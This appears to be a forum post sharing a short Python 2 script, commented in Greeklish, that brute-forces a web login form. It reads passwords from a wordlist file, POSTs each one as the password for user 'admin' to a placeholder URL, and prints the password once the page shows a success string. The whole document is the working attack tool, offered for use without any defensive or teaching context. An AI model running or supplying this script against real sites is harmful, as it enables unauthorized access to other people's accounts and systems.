




Κώδικας: Επιλογή όλων
import urllib
import urllib2
def return_post(url,data): #pragmatopoiei ta post requests kai epistrefei ton html code gia auto einai argo..
req = urllib2.Request(url, data) #isws yparxei kai poly kalyteros tropos
response = urllib2.urlopen(req)
the_page = response.read()
return the_page
url = 'http://to-site-pou-einai-h-forma/index.php' #to link pou brisketai h forma
success = 'welcome' #ena kommati toy mhnymatos ypodoxhs etsi wste otan bre8ei o kwdikos kai emfanistei na stamathsoume
f = open('codes.txt', 'r') #to arxeio me tous kwdikous mas
for code in f:
#line =code
if len(code)>1: #an einai ena tote einai mono o xarakthras telous :P
code = code[:len(code)-1] #koboume ton xarakthra telous
print 'Dokimazw ton kwdiko "'+code+'" twra '
data='user=admin&pass='+code +'&posted=1' #ta post data ta allazetai opws 8elete
page=return_post(url,data)
if success in page: #an yparxei mhnyma epityxias ston code tote brikame thn selida mas ;)
print 'The pass is'
print code
break
f.close()